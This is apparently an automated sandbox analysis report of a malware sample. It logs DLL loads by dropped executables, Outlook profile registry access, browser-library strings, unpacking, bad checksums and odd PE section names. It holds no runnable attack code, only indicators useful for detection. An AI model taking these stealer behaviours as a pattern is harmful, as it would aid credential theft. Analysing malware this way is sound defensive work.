Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001069001\num.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1001069001\num.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1001069001\num.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1001069001\num.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1001069001\num.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1001069001\num.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1001069001\num.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1001069001\num.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1001069001\num.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1001069001\num.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001069001\num.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1001069001\num.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001069001\num.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1001069001\num.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1001069001\num.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001069001\num.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1001069001\num.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1001069001\num.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1001069001\num.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001068001\3cfbb3a6fb.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1001068001\3cfbb3a6fb.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1001068001\3cfbb3a6fb.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1001068001\3cfbb3a6fb.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1001068001\3cfbb3a6fb.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1001068001\3cfbb3a6fb.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001068001\3cfbb3a6fb.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1001068001\3cfbb3a6fb.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1001068001\3cfbb3a6fb.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1001068001\3cfbb3a6fb.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1001068001\3cfbb3a6fb.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\VU8MX8J5A37EO7MMQ3BQL.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\VU8MX8J5A37EO7MMQ3BQL.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\VU8MX8J5A37EO7MMQ3BQL.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\VU8MX8J5A37EO7MMQ3BQL.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1001069001\num.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1001069001\num.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1001069001\num.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1001069001\num.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1001069001\num.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1001069001\num.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1001069001\num.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1001069001\num.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1001069001\num.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001069001\num.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1001069001\num.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001069001\num.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1001069001\num.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1001069001\num.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001069001\num.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1001069001\num.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1001069001\num.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1001069001\num.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\KOVSL46NUOT22BPKOXPHV6NAC5.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\KOVSL46NUOT22BPKOXPHV6NAC5.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\KOVSL46NUOT22BPKOXPHV6NAC5.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\KOVSL46NUOT22BPKOXPHV6NAC5.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\KOVSL46NUOT22BPKOXPHV6NAC5.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\KOVSL46NUOT22BPKOXPHV6NAC5.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\KOVSL46NUOT22BPKOXPHV6NAC5.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\KOVSL46NUOT22BPKOXPHV6NAC5.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\KOVSL46NUOT22BPKOXPHV6NAC5.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\KOVSL46NUOT22BPKOXPHV6NAC5.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\KOVSL46NUOT22BPKOXPHV6NAC5.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\KOVSL46NUOT22BPKOXPHV6NAC5.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\KOVSL46NUOT22BPKOXPHV6NAC5.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\KOVSL46NUOT22BPKOXPHV6NAC5.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\KOVSL46NUOT22BPKOXPHV6NAC5.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\KOVSL46NUOT22BPKOXPHV6NAC5.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\KOVSL46NUOT22BPKOXPHV6NAC5.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\KOVSL46NUOT22BPKOXPHV6NAC5.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\KOVSL46NUOT22BPKOXPHV6NAC5.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\KOVSL46NUOT22BPKOXPHV6NAC5.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\D9O67IRBWGRZW0D1WOATN0GX8KUC.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\D9O67IRBWGRZW0D1WOATN0GX8KUC.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\D9O67IRBWGRZW0D1WOATN0GX8KUC.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\D9O67IRBWGRZW0D1WOATN0GX8KUC.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\D9O67IRBWGRZW0D1WOATN0GX8KUC.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\D9O67IRBWGRZW0D1WOATN0GX8KUC.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\D9O67IRBWGRZW0D1WOATN0GX8KUC.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\D9O67IRBWGRZW0D1WOATN0GX8KUC.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\D9O67IRBWGRZW0D1WOATN0GX8KUC.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\D9O67IRBWGRZW0D1WOATN0GX8KUC.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\D9O67IRBWGRZW0D1WOATN0GX8KUC.exe	Section loaded: sspicli.dll

Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 2968064 > 1048576

Source: file.exe

Static PE information: Raw size of ypeyhkal is bigger than: 0x100000 < 0x2ab400

Source:	Binary string: mozglue.pdbP source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2499679717.000000006F8DD000.00000002.00000001.01000000.0000000F.sdmp
Source:	Binary string: nss3.pdb@ source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2499170679.000000006C7BF000.00000002.00000001.01000000.0000000E.sdmp
Source:	Binary string: nss3.pdb source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2499170679.000000006C7BF000.00000002.00000001.01000000.0000000E.sdmp
Source:	Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: DIKGVVY9JNEBJRBXL.exe, 00000006.00000003.2256599403.0000000004F00000.00000004.00001000.00020000.00000000.sdmp, DIKGVVY9JNEBJRBXL.exe, 00000006.00000002.2390709410.00000000007A2000.00000040.00000001.01000000.0000000A.sdmp
Source:	Binary string: mozglue.pdb source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2499679717.000000006F8DD000.00000002.00000001.01000000.0000000F.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	Unpacked PE file: 3.2.RIHOEX26J337XMDAUSF1C246W.exe.ce0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;tsfqqygy:EW;iefnfdxn:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;tsfqqygy:EW;iefnfdxn:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Unpacked PE file: 4.2.7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe.530000.0.unpack :EW;.rsrc :W;.idata :W; :EW;xisdcata:EW;bazuxvkp:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;xisdcata:EW;bazuxvkp:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 5.2.skotes.exe.250000.0.unpack :EW;.rsrc:W;.idata :W; :EW;tsfqqygy:EW;iefnfdxn:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;tsfqqygy:EW;iefnfdxn:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\DIKGVVY9JNEBJRBXL.exe	Unpacked PE file: 6.2.DIKGVVY9JNEBJRBXL.exe.7a0000.0.unpack :EW;.rsrc:W;.idata :W;gksvkmzy:EW;jigislne:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 7.2.skotes.exe.250000.0.unpack :EW;.rsrc:W;.idata :W; :EW;tsfqqygy:EW;iefnfdxn:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;tsfqqygy:EW;iefnfdxn:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Unpacked PE file: 11.2.2ffb915ad7.exe.270000.0.unpack :EW;.rsrc :W;.idata :W;ypeyhkal:EW;mdebqzzf:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W;ypeyhkal:EW;mdebqzzf:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Unpacked PE file: 31.2.2ffb915ad7.exe.270000.0.unpack :EW;.rsrc :W;.idata :W;ypeyhkal:EW;mdebqzzf:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W;ypeyhkal:EW;mdebqzzf:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\VU8MX8J5A37EO7MMQ3BQL.exe	Unpacked PE file: 35.2.VU8MX8J5A37EO7MMQ3BQL.exe.530000.0.unpack :EW;.rsrc:W;.idata :W; :EW;tsfqqygy:EW;iefnfdxn:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;tsfqqygy:EW;iefnfdxn:EW;.taggant:EW;

Entry point lies outside standard sections

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

PE file contains an invalid checksum

Source: num.exe.10.dr	Static PE information: real checksum: 0x0 should be: 0x52a2a
Source: random[1].exe.10.dr	Static PE information: real checksum: 0x2d5f1a should be: 0x2d64ce
Source: 2ffb915ad7.exe.10.dr	Static PE information: real checksum: 0x2d5f1a should be: 0x2d64ce
Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe.0.dr	Static PE information: real checksum: 0x1c5de1 should be: 0x1c6936
Source: D9O67IRBWGRZW0D1WOATN0GX8KUC.exe.12.dr	Static PE information: real checksum: 0x2a784a should be: 0x2a7106
Source: KOVSL46NUOT22BPKOXPHV6NAC5.exe.12.dr	Static PE information: real checksum: 0x1c5de1 should be: 0x1c6936
Source: RIHOEX26J337XMDAUSF1C246W.exe.0.dr	Static PE information: real checksum: 0x1d938e should be: 0x1d90af
Source: VU8MX8J5A37EO7MMQ3BQL.exe.12.dr	Static PE information: real checksum: 0x1d938e should be: 0x1d90af
Source: random[1].exe0.10.dr	Static PE information: real checksum: 0x1c5de1 should be: 0x1c6936
Source: DIKGVVY9JNEBJRBXL.exe.0.dr	Static PE information: real checksum: 0x2a784a should be: 0x2a7106
Source: file.exe	Static PE information: real checksum: 0x2d5f1a should be: 0x2d64ce
Source: skotes.exe.3.dr	Static PE information: real checksum: 0x1d938e should be: 0x1d90af
Source: num[1].exe.10.dr	Static PE information: real checksum: 0x0 should be: 0x52a2a

PE file contains sections with non-standard names

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name: ypeyhkal
Source: file.exe	Static PE information: section name: mdebqzzf
Source: file.exe	Static PE information: section name: .taggant
Source: DIKGVVY9JNEBJRBXL.exe.0.dr	Static PE information: section name:
Source: DIKGVVY9JNEBJRBXL.exe.0.dr	Static PE information: section name: .idata
Source: DIKGVVY9JNEBJRBXL.exe.0.dr	Static PE information: section name: gksvkmzy
Source: DIKGVVY9JNEBJRBXL.exe.0.dr	Static PE information: section name: jigislne
Source: DIKGVVY9JNEBJRBXL.exe.0.dr	Static PE information: section name: .taggant
Source: RIHOEX26J337XMDAUSF1C246W.exe.0.dr	Static PE information: section name:
Source: RIHOEX26J337XMDAUSF1C246W.exe.0.dr	Static PE information: section name: .idata
Source: RIHOEX26J337XMDAUSF1C246W.exe.0.dr	Static PE information: section name:
Source: RIHOEX26J337XMDAUSF1C246W.exe.0.dr	Static PE information: section name: tsfqqygy
Source: RIHOEX26J337XMDAUSF1C246W.exe.0.dr	Static PE information: section name: iefnfdxn
Source: RIHOEX26J337XMDAUSF1C246W.exe.0.dr	Static PE information: section name: .taggant
Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe.0.dr	Static PE information: section name:
Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe.0.dr	Static PE information: section name: .rsrc
Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe.0.dr	Static PE information: section name: .idata
Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe.0.dr	Static PE information: section name:
Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe.0.dr	Static PE information: section name: xisdcata
Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe.0.dr	Static PE information: section name: bazuxvkp
Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe.0.dr	Static PE information: section name: .taggant
Source: skotes.exe.3.dr	Static PE information: section name:
Source: skotes.exe.3.dr	Static PE information: section name: .idata
Source: skotes.exe.3.dr	Static PE information: section name:
Source: skotes.exe.3.dr	Static PE information: section name: tsfqqygy
Source: skotes.exe.3.dr	Static PE information: section name: iefnfdxn
Source: skotes.exe.3.dr	Static PE information: section name: .taggant
Source: freebl3.dll.4.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.4.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.4.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.4.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.4.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.4.dr	Static PE information: section name: .didat
Source: nss3.dll.4.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.4.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.4.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.4.dr	Static PE information: section name: .00cfg
Source: random[1].exe.10.dr	Static PE information: section name:
Source: random[1].exe.10.dr	Static PE information: section name: .rsrc
Source: random[1].exe.10.dr	Static PE information: section name: .idata
Source: random[1].exe.10.dr	Static PE information: section name: ypeyhkal
Source: random[1].exe.10.dr	Static PE information: section name: mdebqzzf
Source: random[1].exe.10.dr	Static PE information: section name: .taggant
Source: 2ffb915ad7.exe.10.dr	Static PE information: section name:
Source: 2ffb915ad7.exe.10.dr	Static PE information: section name: .rsrc
Source: 2ffb915ad7.exe.10.dr	Static PE information: section name: .idata
Source: 2ffb915ad7.exe.10.dr	Static PE information: section name: ypeyhkal
Source: 2ffb915ad7.exe.10.dr	Static PE information: section name: mdebqzzf
Source: 2ffb915ad7.exe.10.dr	Static PE information: section name: .taggant
Source: random[1].exe0.10.dr	Static PE information: section name:
Source: random[1].exe0.10.dr	Static PE information: section name: .rsrc
Source: random[1].exe0.10.dr	Static PE information: section name: .idata
Source: random[1].exe0.10.dr	Static PE information: section name:
Source: random[1].exe0.10.dr	Static PE information: section name: xisdcata
Source: random[1].exe0.10.dr	Static PE information: section name: bazuxvkp
Source: random[1].exe0.10.dr	Static PE information: section name: .taggant
Source: VU8MX8J5A37EO7MMQ3BQL.exe.12.dr	Static PE information: section name:
Source: VU8MX8J5A37EO7MMQ3BQL.exe.12.dr	Static PE information: section name: .idata
Source: VU8MX8J5A37EO7MMQ3BQL.exe.12.dr	Static PE information: section name:
Source: VU8MX8J5A37EO7MMQ3BQL.exe.12.dr	Static PE information: section name: tsfqqygy
Source: VU8MX8J5A37EO7MMQ3BQL.exe.12.dr	Static PE information: section name: iefnfdxn
Source: VU8MX8J5A37EO7MMQ3BQL.exe.12.dr	Static PE information: section name: .taggant
Source: KOVSL46NUOT22BPKOXPHV6NAC5.exe.12.dr	Static PE information: section name:
Source: KOVSL46NUOT22BPKOXPHV6NAC5.exe.12.dr	Static PE information: section name: .rsrc
Source: KOVSL46NUOT22BPKOXPHV6NAC5.exe.12.dr	Static PE information: section name: .idata
Source: KOVSL46NUOT22BPKOXPHV6NAC5.exe.12.dr	Static PE information: section name:
Source: KOVSL46NUOT22BPKOXPHV6NAC5.exe.12.dr	Static PE information: section name: xisdcata
Source: KOVSL46NUOT22BPKOXPHV6NAC5.exe.12.dr	Static PE information: section name: bazuxvkp
Source: KOVSL46NUOT22BPKOXPHV6NAC5.exe.12.dr	Static PE information: section name: .taggant
Source: D9O67IRBWGRZW0D1WOATN0GX8KUC.exe.12.dr	Static PE information: section name:
Source: D9O67IRBWGRZW0D1WOATN0GX8KUC.exe.12.dr	Static PE information: section name: .idata
Source: D9O67IRBWGRZW0D1WOATN0GX8KUC.exe.12.dr	Static PE information: section name: gksvkmzy
Source: D9O67IRBWGRZW0D1WOATN0GX8KUC.exe.12.dr	Static PE information: section name: jigislne
Source: D9O67IRBWGRZW0D1WOATN0GX8KUC.exe.12.dr	Static PE information: section name: .taggant

Uses code obfuscation techniques (call, push, ret)

Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011BBA50 push esp; iretd	0_3_011BBA9A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011BBA50 push esp; iretd	0_3_011BBA9A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011BBA50 push esp; iretd	0_3_011BBA9A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011BBA50 push esp; iretd	0_3_011BBA9A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011BBA50 push esp; iretd	0_3_011BBA9A
